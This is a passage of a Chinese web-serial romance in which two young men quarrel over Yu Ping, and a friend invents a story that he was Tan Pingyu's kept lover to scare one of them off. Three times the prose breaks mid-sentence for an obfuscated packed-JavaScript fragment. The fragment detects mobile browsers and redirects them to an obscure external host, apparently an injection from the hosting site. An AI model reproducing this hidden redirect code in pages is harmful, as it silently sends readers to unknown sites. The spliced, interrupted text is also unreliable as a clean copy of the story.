俞平冷淡应一声,头脑中顿时全被他占着,手在课桌上摸许久也寻不出彩笔。颜青变戏法似的,从衬衫口袋里夹出一支红色自来水笔,笑道:“敬爱的俞先生,你的笔在我这里。” 俞平正要伸手去够,不料颜青手举至头顶,偏不让他碰到。两人闹腾不止,麻霆君看不惯他,走过来劝道:“好了,快点给他。” 颜青不肯。麻霆君比他高,不费吹灰之力伸手摘下,递到俞平面前。俞平早被颜青逼得气息奄奄,拿笔时小拇指无力垂下,往麻霆君手心若有似无揩了揩;他是无意的,麻霆君却有心,一时间呼吸都粗重不少,羞涩悄悄躲在眼角,嘴角似笑非笑。 俞平看他不对劲,才知道自己失礼,却因为颜青在场,不敢声张,否则按他的性子,起码用指甲狠狠刻一把。 见他身旁还有个空位,颜青起了性子,要坐在他身边,不料麻霆君抢先一步,一脚垮进来,随后也是不由分说坐得稳当,为了霸占得更加心安理得,手肘撑在俞平的桌子上,靠过来,把俞平包围在墙角。 颜青不解其意,又不肯放弃,道:“霆君,我们换个位置。” 麻霆君道:“不换。” 他拒绝得太果断,片刻后大约担忧得罪了颜青,又笑着打起马虎眼,道:“我是真想好好学外语,要看他怎么改的分数,不像你。” 这倒称得上个理由,颜青真是被他戳破了,同他一起笑起来。俞平不愿融进他们的欢乐,审他们的答案,又是一个字母都看不进去,便先做起不动脑的功夫,签了阅卷人的姓名,俞平,俞平,间架结构搭得稳当,脑海中照样乌七八糟。 颜青忽然说:“小俞平,霆君叫你来麻公馆做短工,给你开多少价?” 俞平道:“他是和东家谈的,应该不少。不过具体是什么数目,我忘记了。” 颜青笑道:“不如来我家做工,包吃包住。我不便宜你,什么宴会、音乐会,有好玩的我都带你一起去,枢城总比鹭镇有趣味。” 麻霆君打岔道:“他的卖身契还在我这里,你太不厚道了,怎么能随便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629471|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抢人?” 颜青道:“霆君,你以后来枢城当行长,大家都是做邻居的。我先把俞平带回去适应一段时间,到时候一定让他教你外文。” 麻霆君不如他油嘴滑舌,又不肯到此为止,道:“我记得俞平都拒绝你了,你怎么还不罢休?” “死缠烂打也是一种功夫,说不定他就是为了考验我呢?”颜青来到课桌对面,转而勾起俞平的下巴,“小俞平,你说是不是?” 麻霆君条件反射地把他手拍了下来。这一掌打得不客气,麻霆君自己都有些后怕,却没有回头路了,道:“省点力。他还要改试卷呢。” 颜青被他打得有失颜面,亏他是颜青唯一纯真的好朋友,颜青愿意对他宽容,失去的体面,要从俞平身上挣回来,盯着俞平顺垂的额发,恨不得揪着赏一个嘴巴。可惜麻霆君在场!颜青不好造次,言语放得更刻薄。 “外面的人早和我说过了,他从前就是给男人做情人的,我顶多不去祸害清白之人,他算什么?”颜青轻蔑道,“好的男孩有好的对待法,情人有情人的对待法。” 这话便是冲着麻霆君去的。麻霆君心悬着,余光不免盯着俞平,见俞平仍然专心致志,才起身堵在颜青面前,正色道:“无论怎么样,一切都过去了,你不该还这么看他。” 颜青仅仅是戏谑一笑:“霆君,早和你说过了,感情观念上我们合不来。我不想同你置气,不如别计较了。” 又对俞平说:“开个价吧,你收什么货币?定钱,金条,外钞,你喜欢的我都能给你。” 俞平低低垂着头,没搭理他。麻霆君掰着他的肩膀:“出去说。” 不知道郁蕙心和Wilson去了哪里,门外只有几个佣人打扫,颜青把他们都赶去别处,才不满开口道:“有什么好避着他的?你不看看他什么样子。别人养他是什么价格,说不定比我们都金贵。” 麻霆君听罢气血上涌,若是不认识颜青,真想对他动粗;颜青却是颜青,一见如故做了几年朋友,俞平才认识几个月而已,真要在心里排个序,没有看重俞平的道理。 要说是双方各自处理感情时出现分歧,麻霆君以往能够充耳不闻,此时逢上俞平,好像一切都变了味,非与他争个高低,道:“你知道我嘴笨,说不出来。可你真的太过分了。” “俞平这种男孩子就是这样,喜欢就买进来,不喜欢再卖出去。但凡多分给他一点感情,都是浪费心血。我愿意对他慷慨,却不是对他大方,他不可能有拒绝的权力。” 颜青笑了笑,“我要说你了,霆君,他一个做情人的有自知之明,你好歹是少爷,你没有?” 麻霆君不答。颜青笑得张狂,道:“这么看着我,什么意思?难道你也喜欢他吗?” 这里一切诚然太轻浮,麻霆君就算真心,也不想做任何表态。颜青在面前张牙舞爪,他脑海中尽是俞平。他比俞平更高,看俞平先看至长睫毛,密密排在一行,把眼里流光溢彩通通扇向他。 俞平在他心目中永远是刚从滩涂捡来的一只小猫,麻霆君再想时时刻刻抱着他,俞平要走,他也愿意。消解哀愁的过程无疑是痛苦的,看见俞平货物似的被争抢,更是折磨。 他是爱俞平的。麻家再宽裕,到底在鹭镇,资质还是微薄,倘若颜青猜得准,俞平迟早回归纸醉金迷——他却爱着俞平;爱情和真心都太一文不值了些,俞平若是看不上,他连留恋的机会都不应当有。 偏偏麻霆君再不说话,颜青大抵是看出来什么,不想打压。可惜俞平是他舍不掉的,也不想留给麻霆君,只道:“霆君,感情的事情上我比你有太多经验,姑且算俞平从良,你也听我一句,别傻了。” 38.小狗 名利场里高低贵贱由旁人说了算,俞平是懂得的。他不敢保证自己对每一个人都笑,便不能真全心全力否认颜青,一时莫衷一是,真叫拳头落在自己身上才知道疼。 重新看试卷,脑海之中照旧纷乱无章,这次净换成了麻霆君,好一阵才着手检查答案。 摸底卷是郁蕙心拿她弟弟留洋前的语言测验打的版,做完了才能面试学校,越往前越简单,给他们的大抵是第一张。 但是这两人英文都差。颜青算坦荡,索性白茫茫保留一片;麻霆君写不出主观题,还知道画一只小狗笑脸讨分数,叫俞平看得头晕脑胀。 改完卷子走出去,一个人没见着。俞平试探喊了几声“郁小姐”,都没有人来搭理他,便一路走一路喊郁蕙心的名字,也不记得叫一声五爷。 “喂,俞平。” 拐角口冷不丁出现个胖子,一脚勾在他前面,“站住,我要说你了。” 俞平才在颜青那里受气。他不与颜青计较,是知道自己能够做四爷;若非他真是个普通人物,早恨得昏过去。此般还遭胖子挡路,以为沦落至什么人都能踩一脚,语气真叫凶,道:“说什么?我怎么了?” 胖子顿时泄了气,苦一张脸,双手作揖:“我的俞平爷爷,谁惹你不高兴了?拿一个天底下第二好的好人撒气,真是伤透了我的心!” 俞平也知道自己脾气太差,深呼吸一顿,心绪平复不少,却忘记了和他道歉,只道:“五爷呢?” 胖子道:“你再说一遍?” 俞平依了他:“五爷呢?” “稀奇稀奇真稀奇,明天母鸡会打鸣。你居然会关心我们五爷了!” 胖子劈里啪啦一通完,热情地敲敲他的背,“真不得了,这要是让他知道,他得偷着乐多久啊。” 反倒是懊悔朝胖子撒气的心境更加值得懊悔。俞平刚要瞪他,胖子嬉皮笑脸地靠近来: “五爷惹你不高兴了?” 不见俞平理睬,他又揣测道,“我说也不可能,我们五爷是天底下第一好的好人,应当是颜二爷惹得你。颜二爷不是我们自己人,他什么意见,不作数的。” 俞平把卷子往他脸前抖了抖,道:“我把卷子改出来了,要交给他。” “他们几个都在书房。二楼,我送你?” “我不去了,你代我转交吧。” “世上许多事物都是旁观者清,我看得出来,你是喜欢我们五爷的。五爷有情,俞平有意,见一下又不要紧。” 胖子这通,俞平听见“喜欢”,自动刹了车,只记得颜青如何贬低他。颜青误解他倒是无所谓,胖子误解他真是不得了,光是镇上左邻右舍如何打量他的,足够叫他害怕一阵,道:“大哥,我从良啦。” 胖子道:“没人叫你继续伏低做小。你看我们的兄弟李喆,你们那里叫阿吉的,天天和五爷混,照样光棍两条。” 俞平才不管他说什么,挑了眉毛,道:“阿吉喜欢五爷?” 听得胖子吓得连连捂着胸口,道:“我知道你心高气傲,势必把你们店里那个小女孩发展成工程师,这话你再不爱听也是真的,阿吉的心思全在她身上。” “瘦子呢?” “关他什么事?” “他们俩天天混在一起,说不好的。” “你狗拿耗子瞎吃醋呢,乱点鸳鸯谱都没你这么乱来,差不多得了!”胖子终于爆发,“天底下男人都怕女人,哪里有你我,哪里有五爷?你问出的问题我都听不下去了,叫什么,草木皆兵!” 俞平道:“你告诉我。” 胖子道:“我早告诉你了!我们五爷见你那么一眼,就止不住和我们说你漂亮。” 俞平当即放下身段,朝他抛了个眉眼,道:“我这眼睛确实不一般。” “还眼睛呢,是你。”胖子嘘他,“俞平,他喜欢你!” 说麻霆君真喜欢他,也在预料之内。俞平自以为毫无波澜,却是怔着。胖子被他吓唬一通,好不容易招架过来,见无作为的却是他了,干脆把他赶到楼上。 总算见到郁蕙心。书房里Wilson讲课好不热闹,郁蕙心约莫是出来透气的,俞平把卷子塞在她的手里,道:“不要叫颜青来了。” 郁蕙心猜得出颜青做了什么,先把胖子唤走,再把俞平抱了又抱,长长叹了一口气,道:“我怕你们家查我行程,带他能够避人耳目,哪知道他一刻不肯停,骚扰到你头上了,真是!等你回枢城了,好好和他计较。” 俞平道:“算了,他太招摇,我回去还和他计较,显得我和他不清不楚了。” 郁蕙心笑了声。走廊上脚步凌乱,二人换了一处谈天。边上是几盆高大绿植,布置在一处,算一个小造景,俞平憋着话不肯讲,借机发泄在厚实叶片上,摩梭得边缘朝内打卷,鼓起勇气道:“姐姐,世上真的有爱情吗?” 他自以为说得不唐突,郁蕙心的眉毛还是抖了抖,道:“你爱上麻霆君了?” 俞平否认道:“没有。” 但是郁蕙心就这么看着他,看得他冷汗不止,攥着衣摆,硬生生把衣服扯得绷在身上,道:“你不好奇吗?” 窗台上有乌鸦啼叫,俞平条件反射地哆嗦一下。 郁蕙心实在不忍心,却是难以启齿。俞平干脆不说话,她便也靠在墙上,脚后跟抵在地板,脚背扬在空中,绷直再放松,多来几次后鞋身添了褶,才轻轻地说:“凭玉,其实你不用听谈文翡说什么,你早点回枢城,结果也是一样的。” 俞平犹豫道:“姐姐……” 郁蕙心坚持道:“你可能发觉不出来,你有些变了。” 他变了?他心惊肉跳。 书房门大开,颜青刚出来,郁蕙心拧着他的耳朵走了。Wilson倒是喜气洋洋地出来,朝俞平行个击剑的礼,道:“四少爷,你的两个学弟都不一般。” 俞平道:“你什么时候再来?” Wilson道:“我们约定好,一个月来鹭镇两次。你有什么要的,我帮你带来,账单累积到你回来。” 俞平笑道:“我想好了再告诉你,我有蕙心的号码,随时联系。” “那你要不要也记一下我的电话?” 俞平往里头喊一声,麻霆君正收着文具,低着头应他,却磨磨蹭蹭不肯出来。楼下郁蕙心催得厉害,Wilson耸了耸肩,道:“看来只好由郁小姐代为转告。四少爷,我先走了。” 人都散去,俞平才进到书房。 书房里只有麻霆君,拢着笔筒里一把自来水笔,逮空隙插几根进去。见到俞平算前功尽弃,哗啦啦散在一旁,他有些羞涩笑了笑,道:“俞先生,Wilson说我基础太差,你能不能和他商量商量,把我的分数判得高一些?” 俞平道:“不能。” 麻霆君闷闷哦了一声——麻霆君也是没有恋爱过的,颜青那番话本意不全在叫他退出,更多想让他清醒;麻霆君真被点拨到了,思来想去,竟觉得自己身上居然没一处好。原先以为和俞平能够离得更近,到底是他太狂妄。分明俞平正在眼前,心里又是退缩了。 他要把座椅复位。俞平看他搬得辛苦,不去打搅,也不帮忙,坐在书桌上,道:“讲课听得懂吗?” 麻霆君道:“还可以。” “还可以是什么?” “就是还可以。” 两人对视时候谁都忍不住笑。俞平笑过后空虚不少,心里仿佛有东西正化开,一滴一滴往下淌。 自小到大的生活都有人精细布景,俞平不擅长面对局促的场合。麻霆君想护着他,不免也落入相同的窘迫之中。 所幸最重的话应当都是避着他说的,他自己无能为力,唯有事后补救,道:“刚才谢谢你。” “不用谢我,我做得不够好,还担心你听了会难过。” 麻霆君回头笑道,“颜青其他地方都好,唯独感情太不仗义。平时我真的不和他聊这个,没想到他有这么混蛋。你也别和他一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654705|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计较就是了。” 俞平道:“我知道,五爷不是这样的人。“ “你放心好了,我一定会让他反思错误,好好向你赔不是。” 书房早整理干净了。好不容易挑出书柜上有几本书放得东倒西歪,麻霆君再伏低身子,埋头整理起书柜。 忽然道:“你喜欢颜青吗?” 俞平看他背影看不出什么,便道:“我再想要体面,也是个做工的,哪有资格点评少爷,只求他不再打扰我了。” 麻霆君代替答道:“我听得出来,你不喜欢他。” 俞平道:“这是你说的,和我没关系。” 这话说完,到来很长一段寂静。 麻霆君不知道究竟过了多久,自己率先无法忍受了,道:“你上次说喜欢我,是真的吗?” 他真把俞平问到了。书桌不算矮,俞平往里坐,勉强晃着脚,生平第一次希望真的有俞平这样一个人存在世上。 麻霆君已经为他挡了一次难堪,姑且算谢恩情,他也想承认下来。真算他那时口不择言,抛下什么喜不喜欢就跑,这一切无非是说辞而已,大不了日后翻脸,再推辞掉,他是谈四爷!喜不喜欢算什么,其他能够弥补麻霆君的应有尽有;他却不是俞平,无论什么感情,一概做不到。 枢城行商的几家互相都认识,为了争抢利益,永远打得不可开交。他自己孑然一身倒是无所谓,但凡牵扯到麻霆君——他只是一颗棋子。棋子怎么能有七情六欲? 麻霆君手指勾着书脊,许久不等俞平答复,一时恍惚,发不出力。书重重砸在木柜,传来闷响一声。 俞平心里徒然落寞着,寻不清根底。听到动静,慌忙搪塞道:“你自己没听见?怎么还问我一遍?” 麻霆君道:“你是对阿吉说的,那时候我在家。” 俞平鼻尖酸得厉害,低着头悄悄瞄一眼麻霆君,倏地看麻霆君也可怜。难道他真的喜欢麻霆君? 对麻霆君的感情是杂糅的,先前他不想追究,简单概括在友谊里。其中若真是掺些爱情进去,或是爱情借着他的土壤萌了芽,败了纯真,俞平能够骗得了自己,又能够把一切都掩人耳目么? 郁蕙心说得没错,他一定是变了。凭玉与俞平,两样都是他,他却惘然起来,想不通谈凭玉会怎么做了。 心目中的谈四从来不会爱上谁,俞平心里却有麻霆君。想到这些,他脑后的寒意要把他全身剥了皮。逃出去!若是如此得到谈公馆之外片刻的安宁,他同样能离开麻霆君;又是不忍心,走到门口,见麻霆君还在等他,才装作从容笑了笑,道: “那就不要问了,我不是讲给你的。” * 俞平到底偏心,给麻霆君的答案判零分,给小狗笑脸批了五分。 麻霆君捏着试卷,在他的笔迹上挪不开目光。 远处骚动不小,阿吉打头,其他佣人在他身后排了一列,往门口走。阿吉看他孤零零站着,便抱着两盒点心,上前道:“五爷,俞平呢?” 他问得太不合时宜,麻霆君只好忍气吞声,平和道:“回去了。” 又问他手中礼盒:“这是什么?” “回五爷,这是颜二爷特地给俞平带的高档糕饼,说是各式送三盒给俞平,其余叫我们分了吃。” 阿吉喜悦道,“五爷,我们一致认为黄纸包装的最香甜,抢了一盒给俞平的来孝敬你,你就算不吃,也千万别和他告密!” 麻霆君冷冷道:“丢了。” 阿吉呆滞道:“五爷?” 才看见两张试卷遭他捏得破了半边。阿吉紧张道:“五爷,我们不是想叫你吃剩下的,也不是不给俞平吃……我们不是这个意思。” “全给我丢了。” “五爷息怒啊!” 麻霆君再是温文尔雅,难得发自内心骂了一句脏的,恨恨道:“颜青真不是东西!我不和他解释清楚,不要在鹭镇上待了,这个五爷你来做!” 说罢夺门而出。 39.摊牌 颜青他们一车人回到枢城是傍晚,Wilson去了西洋人的聚会,他们几个在颜公馆。今日颜青的哥嫂都在,免不了一顿大餐。酒足饭饱,一行人商量着去哪里避暑。 避暑当真有趣味,郁蕙心历经一下午无精打采,被他们重新唤了起来。 正是说得最有兴致之时,门外轰隆隆驶来一辆汽车,鸣笛不止,横冲直撞进颜公馆大门。 麻霆君黑着一张脸进来。里头这几人当他舟车劳顿太辛苦,管自己热火朝天。颜青不计较白天起什么争执,夜里重新见到他,立刻笑逐颜开。 “霆君,我们正说到你!过几天一起去北方避暑,Wilson答应来,你也跑不掉,我们路上好学英文。叫俞平也一起。” 颜青把他拉进来,边走边说,“北方好玩的地方太多了,我们想不好去哪,你有没有看中的地方,一起商议。” 麻添姝看他不对劲,关怀道:“霆君,你累吗?要不先休息,明天重新讨论过。” 颜青笑道:“累什么,说避暑还能累?霆君,到时候我哥嫂住一起,蕙心和Will一人一间。你把黑兔带着,好歹能占个房间。我是不再做你兄弟了,你还来找我,只能睡在我和俞平的床底下。” 麻霆君早气得神志不清,看一切都是天昏地暗,张嘴也发不出声音。 颜青光看他面色发白,认定开车辛苦,说了些自以为振奋人心的:“虽然你没告诉过我,但我看得出来,我们是一样的。我觉得Will人很不错,不如试试相处?” 郁蕙心强忍着不翻白眼,道:“把你当自己人的,和我们扯什么谎!别以为我不知道,今天俞平一个笑脸没给你,你快死了这条心,也别乱撮合人家。” “俞平从前是给少爷做情人的!说是把我当作自己人看,还不是向着俞平。要不是我挑明了讲,你要帮他瞒多久?” 颜青冷哼一声,又道,“随你怎么帮他抬价,你们合起伙来要我多少,我都给得起,春宵一刻也值了。” 郁蕙心起初不信,道:“谁告诉你俞平是做情人的?” “他自己说的,他很光荣呢!”颜青道,“我知道他什么心思,最好闹得人尽皆知。可惜鹭镇不是枢城,哪有人养得起他。” 郁蕙心真当是他人诽谤,谁知道谈凭玉这般生猛?寻人启事后她和谈凭玉一共见过两面,先前一次还正常,今朝竟讲些爱情与否,如此浑话,他说自己是情人大抵合理,真找个正当职业,反而不正当; 她愣着不动,好久想起谈凭玉的心意,求助起麻霆君,道:“霆君,有这回事吗?” 麻霆君未答,拳头紧紧握着。颜青忽略他已久,看他站着碍眼,总归不可能是他们几个一起孤立他,便把他亲热地揽到位置上,动手削一个苹果,埋头道:“问什么霆君,我说得没有半点假话。我倒也希望俞平是个良家男子,这样我便不再浪荡,全心全意守着他一人了。” 麻添姝鄙夷道:“又开始了,总说要正经找一个,还不是下九流——听我家人的意思,俞平已经从良了,你就当行善积德,放过他吧。” “做都做了,差我这一回?”颜青满是不屑,道,“阿嫂,你没看见,他衣服上打多少补丁。我真要行善积德,就该帮他最后一程。” 麻添姝说他不过,看麻霆君头顶仿佛有白烟在冒,心里浮上一股不祥的预感,挨得离郁蕙心近了些,才勉强笑了笑,缓和道:“霆君,别听阿青乱讲。你和姐姐住一起,把你姐夫赶出去。” “我真的受不了了!” 麻霆君猛然起身,狠狠往地上跺一脚,吊灯被他震得轻轻晃动,他全然一副血海深仇的样子,一屋子人大气也不敢喘。 其余三人原本坐得分散,被他吼了吼,少顷挨在一块。只有麻添姝仗着血浓于水,鼓起勇气道:“霆君,你怎么了?要不先休息……” 麻霆君大声道:“我喜欢俞平!谁劝我都没用,我就是喜欢他,我爱他!” 麻添姝道:“我们这里没有俞平。” “我知道。”麻霆君道,“我是来告诉颜青的。” 颜青心一横,还记得给他找台阶下,道:“这个玩笑一点也没有意思,霆君,你可以适可而止了。” 麻霆君字正腔圆道:“我喜欢俞平,俞平也喜欢我,俞平不喜欢你。请你离他远点。” 此般若是做缩头乌龟,必然沦为众矢之的;颜青拍案而起: “你不可以喜欢俞平!” 颜青恐吓道,“麻霆君,我把你当了这么多年的兄弟!我管你喜欢谁,就是不可以喜欢俞平!我什么都能让给你,唯独俞平不可以!” 郁蕙心捞过颜青削了一半的苹果,拇指摁着水果刀,嘶嘶地一记记刻着。那边两人还在吵,麻霆君态度坚决,颜青不能见缝插针,便也学他跺脚,道:“如果是你非要做我的情敌,我们从此一刀两断!” 麻霆君轻描淡写道:“好的,我们一刀两断。” 颜青处处留情,做朋友的,却真就麻霆君一位。麻霆君狠心,顷刻把他们的友谊视若尘土了,颜青哪舍得,主张把他推搡走。 不料麻霆君毫不客气,把颜青往边上推,颜青对他不设防,踉跄几步,陷进沙发,满眼不可置信,又要站起来;麻霆君再把他推倒了一次。 颜青道:“你爱过人吗,你懂什么?赶紧洗个澡歇了,明天重新讲过。” 麻霆君道:“我们已经一刀两断了,你不要和我说话。” 颜青依旧不相信,道:“麻霆君,你发什么疯!” “不就是钱?你给俞平多少,我双倍还给你,好了么!放过俞平,也放过我。” 麻霆君本是要离去,才走出几步又回头,重重踱步在他们一行面前,道,“他喜欢我!他自己说过的!” 颜青又站起来,道:“俞平喜欢你?鬼信!” 中途郁蕙心劝架几次无果,一不做二不休,掀了桌上果盘。玻璃果盘落成碎片,几个鲜艳的果子也飞溅在地上,郁蕙心多少有些失态,实在难以顾及,失色道:“都给我闭嘴!” 非这样他们才听得进去。麻霆君和颜青不约而同石化般在原地,望着她。 她反而恨得不轻:怎么会是俞平!哪里有俞平! 枢城日报的主编有点来头,三年前谈文翡过生日,被他混进去,见了谈凭玉一面,才交谈几句,回去的路上简直意犹未尽,洋洋洒洒构思一篇《谈家唯一一颗夜明珠》,次日刊登出来,大部分人认为枢城日报失了公信,郁蕙心却深有同感: 老天!那是谈凭玉!夜里不论什么石头什么翠,一概黯然失色,谈家唯一一颗夜明珠岂是白叫的!被他们两个蠢的呆的当作网球似的,挥舞苍蝇拍子争来抢去,岂有此理! “俞平是谈凭……” 俞平是大名鼎鼎谈凭玉!他们怎么敢的!郁蕙心恨不得一次性打消了两人的心思,话顺在嘴边,想起谈家棋盘布局,一切尚未尘埃落定;真在这里坦白了,谈凭玉才是生死未卜。她紧急拐了弯,咳了咳,又正色道,“俞平是从前给人做情人。不过养他的那位叫做谈凭玉。” 颜青惨叫一声:“谈凭玉!” 他两排牙齿打仗,嘴巴都忘记合上,惊觉地板滚烫,麻雀落地般踮着脚避开玻璃碴子,拍案而坐:“郁蕙心,我拿你当亲人这么多年,俞平是跟谈凭玉的,你怎么不早说?” 郁蕙心冠冕堂皇道:“谁叫你一意孤行的?劝你死心多少回,你一遍也不听。” 颜青懊悔道:“我是好死心了!我不但死心,更是死人一个!你真是个顶天立地的王八蛋啊,郁蕙心!” 佣人听到动静,等在门口。早前麻添姝嫌一谈不知多久,干脆叫他们明天再整理。此时果盘落了地,颜青便喊他们进来,打扫干净后细细拖了一趟地。 麻霆君树木般顶天立地站在客厅,迟迟没有复苏,颜青看他又可气又可怜,再把他搬到沙发上。 “我不要俞平了,我不要俞平了。”颜青连声道,“霆君,我保证不要俞平了,我们和好,还是兄弟。” 谈家向来要低调。郁蕙心和他们关系密切,往常去茶会,听见谈文翡的姓名都要避讳,何况谈凭玉。如今一试,哪知道有这般灵验,几句蹩脚的谎话而已,有这般风声鹤唳。 她还是不放心,试探道:“你就这样放弃俞平了?” “谈家里数谈凭玉最不好惹。其他三个还算了,我嫌命长,偏要招他!” 颜青道,“我看俞平这么美,就知道他来历一定不凡,说是职业情人也合理,哪知道他是谈家出来的。老天。” 麻霆君被哄着喝了几杯热水,才有余力说话:“可是俞平说过,谈凭玉迟早做家主,嫌养情人败坏名声。俞平若能隐姓埋名,好好生活,他也不来计较了。” 颜青嫌他初生牛犊不怕虎,道:“嗳,霆君,我们蕙心差一点能做谈二奶奶,现在有谁敢娶她?人家正儿八经是谈四奶奶!谈四爷不要,你敢要?” 郁蕙心还听得津津有味,哪想到轮到自己被迫趟浑水,心中再有不满,权当是为了谈凭玉,咬牙忍着,道:“说俞平就说俞平好了,跟我有什么关系?” 麻添姝独吞了削给弟弟的苹果,才开金口,赞同道:“霆君,你快搬来姐姐家里住几天。我看你和胖子瘦子一起久了,脑子也锈了。” 麻霆君委屈道:“俞平怎么会骗我?” 颜青道:“俞平怎么不会骗你?他跟四爷混了这么多年,说不定四爷都敢骗;你又是特别单纯的,哪天真被他卖了,肯定嘿嘿笑着帮忙数钱。” 麻霆君只认郁蕙心,等着她发话。 郁蕙心低头,握着一把水果刀,额前两簇鬓发顺垂下来,衬得她鼻梁又窄又挺。她看着深沉,内心实则一片空白;谎言总归是谎言,勉为其难糊弄几句,真要继续圆下去,只怕纰漏越来越多。刀柄在茶几上敲了又敲,才道: “谈家近年太红火,地位高了,缺的也少了。想来巴结的人绞尽脑汁,好不容易搜罗到俞平。俞平原本是他们预备给谈文翡的礼物,谁知道叫谈凭玉一见钟情,说什么都要抢过来。” 那几人嘴巴微微张着,神情呆滞,以表对郁蕙心的敬重。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680758|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不对!”颜青骤然一拍大腿,道,“我想起来了,你赖牌时和我们透露,谈凭玉喜欢的类型,‘热情、心眼少,猎犬般忠诚’,照理是霆君。他怎么看上俞平的?” 郁蕙心道:“你不是号称天底下只有谈文翡值得倾心么,私下照旧什么都来。” 颜青先红了耳根,摆摆手,不再多语。 麻添姝也恍然大悟了,道:“难怪我一直听着生疑,凭玉俞平,他们连名字都是相似的。” 这十足启发了郁蕙心。郁蕙心酝酿片刻,又道:“对,俞平本来不叫俞平,是谈凭玉把自己的名字颠倒后给了他。玉凭叫多了,我们都以为他叫俞平。其实是是玉凭——俞玉凭。” 麻添姝脸上莫名其妙晕上两团红,隐秘一笑,感叹道:“哎呀,爱得真深!” 唯有她灿烂过了头——两个弟弟,一个发愣,一个支离破碎,她便着手安慰更可怜的一个:“霆君,听劝,趁你和俞平还没发生什么,早早断送念想吧。枢城好的男孩子也很多,姐姐帮你多留意。” “我不相信。” 麻霆君伏着身子,手肘撑在膝盖上,脸埋进手掌间,喃喃道,“你们说得太玄乎,我不相信!” 麻添姝道:“你还和谈凭玉打过架,忘了?现在好了,新仇旧怨,一应俱全。” “唉,霆君,这回我真的懂你,可你简直是虎口夺食。”颜青安慰道,“你和我颜青争也就算了,我们吵一架还是兄弟,又不会真的一刀两断。你去和谈凭玉争,那是想出名想疯了。” 麻霆君大抵是真的伤心,肩膀微微耸着,再抬头时眼眶也红了。若是那时天塌下来,他也没有逃跑的心思,只想永远哀哀地坐着。 颜青接下麻添姝递来的苹果,抵着刀口,掰成两半,一半硬塞给麻霆君,道:“看见了,这位郁二小姐号称谈凭玉的好朋友,谈凭玉都要死了,居然笑嘻嘻地和我们讨论去哪避暑。” 咬了口自己的苹果,道:“谈凭玉怎么可能死?我看一点可能都没有。” 麻添姝也道:“对,蕙心,从来没见你哭过,你怎么不哭?” 郁蕙心被他们说得真有些欲哭无泪。颜青见起了效果,道:“蕙心,你是我们几个里唯一见过四爷的,你说四爷究竟什么样?否则等他来索命,我这位傻兄弟还在和俞平献殷勤。” 又道:“四爷真是长寻人启事那般?如是他还挺漂亮的,让霆君去追求他算了。” 郁蕙心摇摇头,道:“那张画像像三少爷谈行一。” 谈凭玉比他美多了,这话怎么说得出口?郁蕙心眼珠一转:既然谈凭玉都成谈凭玉自己的情人了,再抹黑点也无妨。便道:“谈凭玉毁容了,样貌很恐怖。” 麻添姝道:“怎么会毁容?” 郁蕙心道:“五少爷当街遇刺,一命呜呼。他也在场,脸被打烂了,命倒是还在。” 麻添姝道:“那么,他心灵必然扭曲了。抢俞平来做情人,实际是填他自己的缺。” “他们一家子都漂亮,唯独他丑陋,换作谁会不扭曲?” 颜青赞成道,“我说难怪,谈老爷变着法子补偿他,传家宝都要从谈文翡手里抢来给他。前几年香岛开发新区,那老头最积极。新区有一片官方盖章,取名‘凭玉区’。” 他说完再是一片哗然,这几人簇拥郁蕙心,再度把谈凭玉的事迹恶劣化。麻添姝又道:“霆君,算啦。” 麻霆君灰心丧气,无助道:“你们说得太多了,给我些时间理一理。” 颜青道:“霆君,大丈夫能屈能伸。不去挂念俞平又何妨?我照样当你是个君子。” 麻霆君推开他,下定决心般地说:“行了,别添乱。” “你还喜欢俞平呢?” “要我怎么忘记?” “伟大,伟大。四爷的墙角也敢撬。”颜青拍拍他,道,“我看出来了,凡是沾上俞平的人必然走向疯魔。我好歹是你兄弟,至多口头支持一番。” 喧闹声中,郁蕙心心事重重。她抹黑谈凭玉太厉害,日后还不知道他如何能够化解;所幸颜青必然不会再去打搅谈凭玉了,勉强将功抵过。避暑的事情也告一段落,她不想继续参与他们的夜谈,起身道:“几点了?我该回家了。” 颜青挽留道:“你在我们家凑合一晚好了,怕什么?” 麻添姝道:“你放人家走,蕙心脸上擦的珍珠霜要法国进口,我们家没有。” 颜青笑道:“好嫂嫂,话里话外好像我大哥忽视了你。我说他前阵子从南方回来,一定新发了财,明天去百货公司转一转。” 麻霆君低落道:“我也该走了。” 颜青不肯放行,拽着他胡乱打的领带,道:“郁蕙心随便,反正我不放心你一个人回去,你又不擦珍珠霜,必须明天天亮了再走。” 麻添姝也道:“霆君,你这副样子,路都看不清。听话,在姐姐这里过一夜,明天我们一起送你。” 她想去收拾客卧,颜青不让,硬拉着麻霆君去自己房间,边走边说:“我给你好好讲一讲,四爷究竟是怎么成为四爷的……” 40.并进 